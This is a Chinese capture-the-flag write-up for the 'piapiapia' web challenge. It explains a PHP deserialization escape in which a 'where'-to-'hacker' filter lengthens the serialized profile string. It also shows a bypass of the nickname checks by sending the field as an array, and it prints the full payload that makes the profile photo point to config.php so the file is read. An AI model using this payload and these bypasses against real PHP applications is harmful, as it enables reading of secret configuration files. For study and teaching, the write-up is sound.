首页 > 其他分享 >piapiapia(代码审计、反序列化逃逸、函数绕过)

piapiapia(代码审计、反序列化逃逸、函数绕过)

时间:2022-11-03 00:22:38浏览次数:40  
标签:profile 序列化 photo 逃逸 config piapiapia nickname php

wp

进入题目,一个登录框,F12和源代码没有看到提示,robots.txt也没有东西。于是试一试访问www.zip,没想到有源码,省了扫描目录的时间。

里面有6个php文件,使用Seay审计代码,简单看了下(其实也看了挺久都没完全看明白),每个php文件主要功能大概如下:

文件内容

register.php:注册用户

class.php:连接数据库,进行查询、插入、更新,另外还有过滤函数(接下来会用到)

config.php:连接数据库需要的信息,除此之外还有个显眼的$flag

index.php:判断登录用户名和密码是否符合长度规定

update.php:更新一些资料,输入phone、email、nickname,以及上传头像photo。将这些资料放到一个数组中,这个数组会被序列化

profile.php:将更新的资料反序列化,并且有一个file_get_contents()将图片(文件)内容base64编码输出(会用到)

尝试

第一次做的时候看到有头像上传,并且没有对文件进行过滤,于是试了下上传一个后门,上传成功,但是访问的时候出现了405,于是再看看有什么利用的地方。

回到config.php文件,里面有个$flag变量,读取config.php文件的内容获取flag。

再仔细看下代码,可以发现更新的资料是先将其序列化,再进行过滤,最后再反序列化,并且会将文件内容base64编码打印。

主要部分

序列化

$user->update_profile($username, serialize($profile));	

过滤

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

反序列化,获取base64编码的文件内容

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

反序列化逃逸

尝试将本来上传的文件换成config.php,这样就可以将文件内容打印出来,得到flag。现在的问题是如何将文件换成config.php。这里用到的是反序列化逃逸。

将$profile数组正常序列化如下

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"[email protected]";s:8:"nickname";s:2:"12";s:5:"photo";s:39:"upload/(这里是32位md5)";}

当我们的nickname的值为a";s:5:"photo";s:10:"config.php";},那么序列化后就变成

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"[email protected]";s:8:"nickname";s:34:"a";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/(这里是32位md5)";}

由于反序列化字符串是以花括号'}'结尾,因此当我们构造时加上'}'即可让反序列化函数知道到此就结束了。自带的花括号'}'会逃逸出去。

我们想要把原来的字符串挤出去,就需要以倒数第二个'}'为序列化字符串的结尾。

但是输入nickname时有正则表达式判断并且被限制了长度。

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
	die('Invalid nickname'); 

正常情况下preg_match()和strlen()接收的都是字符串,如果接收的是一个数组,那么就会返回false。只需要抓包修改nickname为nickname[]即可绕过。相应的我们传入nickname的值就变成a";}s:5:"photo";s:10:"config.php";}(加了个'}'是为了闭合nickname[]序列化后存在的'{'),这时候我们插入的字符串长度多了1,即35。

一个'where'的长度为5,被替换后的'hacker'长度为6,我们插入的字符串长度为35-1=34(把a去掉)。因此我们需要把'a'换成34/(6-5)=34个where,这样才可以实现序列化字符串在反序列化时以倒数第二个花括号为结束标志。(个人感觉理解还是有点困难,因此我都是弄懂了后总结规律记住)

如果没有替换,那么序列化后应该是这样的:

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"[email protected]";a:4:{s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/(这里是32位md5)";}

当序列化后,where被替换成hacker,结果如下:

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"[email protected]";a:4:{s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/(这里是32位md5)";}

替换后长度204并没有改变,因为已经序列化了,长度不会改变。34个hacker的长度刚好就是204,所以也就相当于nickname的值为34个hacker。这时我们插入的变量photo就能够被反序列化,而且反序列化的时候以倒数第二个花括号为结束标志,本身的photo变量也就逃逸出去了。

流程

首先我们访问/register.php注册账户,后面根据提示更新资料即可。更新资料时抓包,修改nickname为nickname[],值为:

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}

可以看到成功更新。这个时候在浏览器中f12查看图片信息,将base64编码拿去解码即可得到config.php中的内容

总结

当时看到源码是有点懵的,虽然看到了config.php里面有flag,但是并没有想到读取config.php获取flag,感觉还是需要多做题来积累经验。刚开始不知道从哪里入手,以为有文件上传漏洞,但是发现服务器拒绝访问,又觉得可能会有sql漏洞,但是又找不到。最后看了师傅们的wp才知道原来是一道与反序列化逃逸有关的题目,利用反序列化逃逸来读取config.php文件。自己看代码的时候看到了过滤、序列化和反序列化的函数,但是没有想到反序列化逃逸,还是需要多少学习学习。对于反序列化逃逸buuctf上有一道easy_serialize_php的题,当时做完后还是不熟练,最后总结了规律再做这类型的题目的时候套一下模板构造payload。除此之外一些函数例如preg_match()、strlen()当参数为数组时会返回false从而绕过,也是需要好好总结一下。

标签:profile,序列化,photo,逃逸,config,piapiapia,nickname,php
From: https://www.cnblogs.com/p0n9/p/16853042.html

相关文章

  • GSON 特殊类型支持序列化和反序列化,如LocalDateTime
      GSON特殊类型支持序列化和反序列化,如LocalDateTime DateTimeFormatterdateTimeFormatter=DateTimeFormatter.ofPattern("yyyy-MM-ddHH:mm:ss");Gsong......
  • This class is not trusted to be serialized as ObjectMessage payload.ActiveMQ序列
    引子ObjectMessage引入的生产者和消费者之间的类路径耦合,ActiveMQ支持他们作为JMS规范的一部分。ObjectMessage对象依赖marshal/unmarshal进行java序列化,这个过程是......
  • (转)hive中序列化和反序列化简介
    原文:https://blog.csdn.net/xixihaha_coder/article/details/121229591hive中序列化和反序列化简介serde简介hive的常用serdeLazySimpleSerDeCSVjsonserde......
  • 学习笔记-JAVA反序列化
    JAVA反序列化免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.简介序列化是让Java对象脱离Java运......
  • python安全学习笔记-沙箱逃逸
    沙箱逃逸免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.相关文章初探Python沙箱逃逸IS-pwn-escape......
  • Java实现 Serializable 序列化
    深度理解Java实现Serializable序列化概念把对象转换为直接序列的过程叫对象的序列化把字节序列恢复为对象的过程叫对象的反序列化用途对象持久化跨网络数据交换,远程过程调......
  • PHP反序列化做题方法
    1.简化:把PHP代码复制到编辑器里面,寻找PHP反序列化的魔术方法,然后把不需要的部分删去2.找链子:通过以知的魔术方法,寻找到可以利用的点,然后想办法通过对象与方法的调用执行......
  • 学习笔记-PHP反序列化
    PHP反序列化相关文章&Source&ReferenceWeb安全|PHP反序列化入门这一篇就够了php反序列化练习题php反序列化知识点总结相关工具php在线反序列化工具PHP......
  • java反序列化cc_link_one2
    CC-LINK-one_second前言这条链子其实是上一条链子的另一种走法,在调用危险函数哪里是没有什么变化的整体链子还是尾部没有变化嘛还是InvokerTransformer的transform方法......
  • 序列化与反序列化
    专业解释:序列化:把对象转换为字节序列的过程称为对象的序列化。反序列化:把字节序列恢复为对象的过程称为对象的反序列化。通俗解释:从内存中读取硬盘中的数据过程,叫做序列化......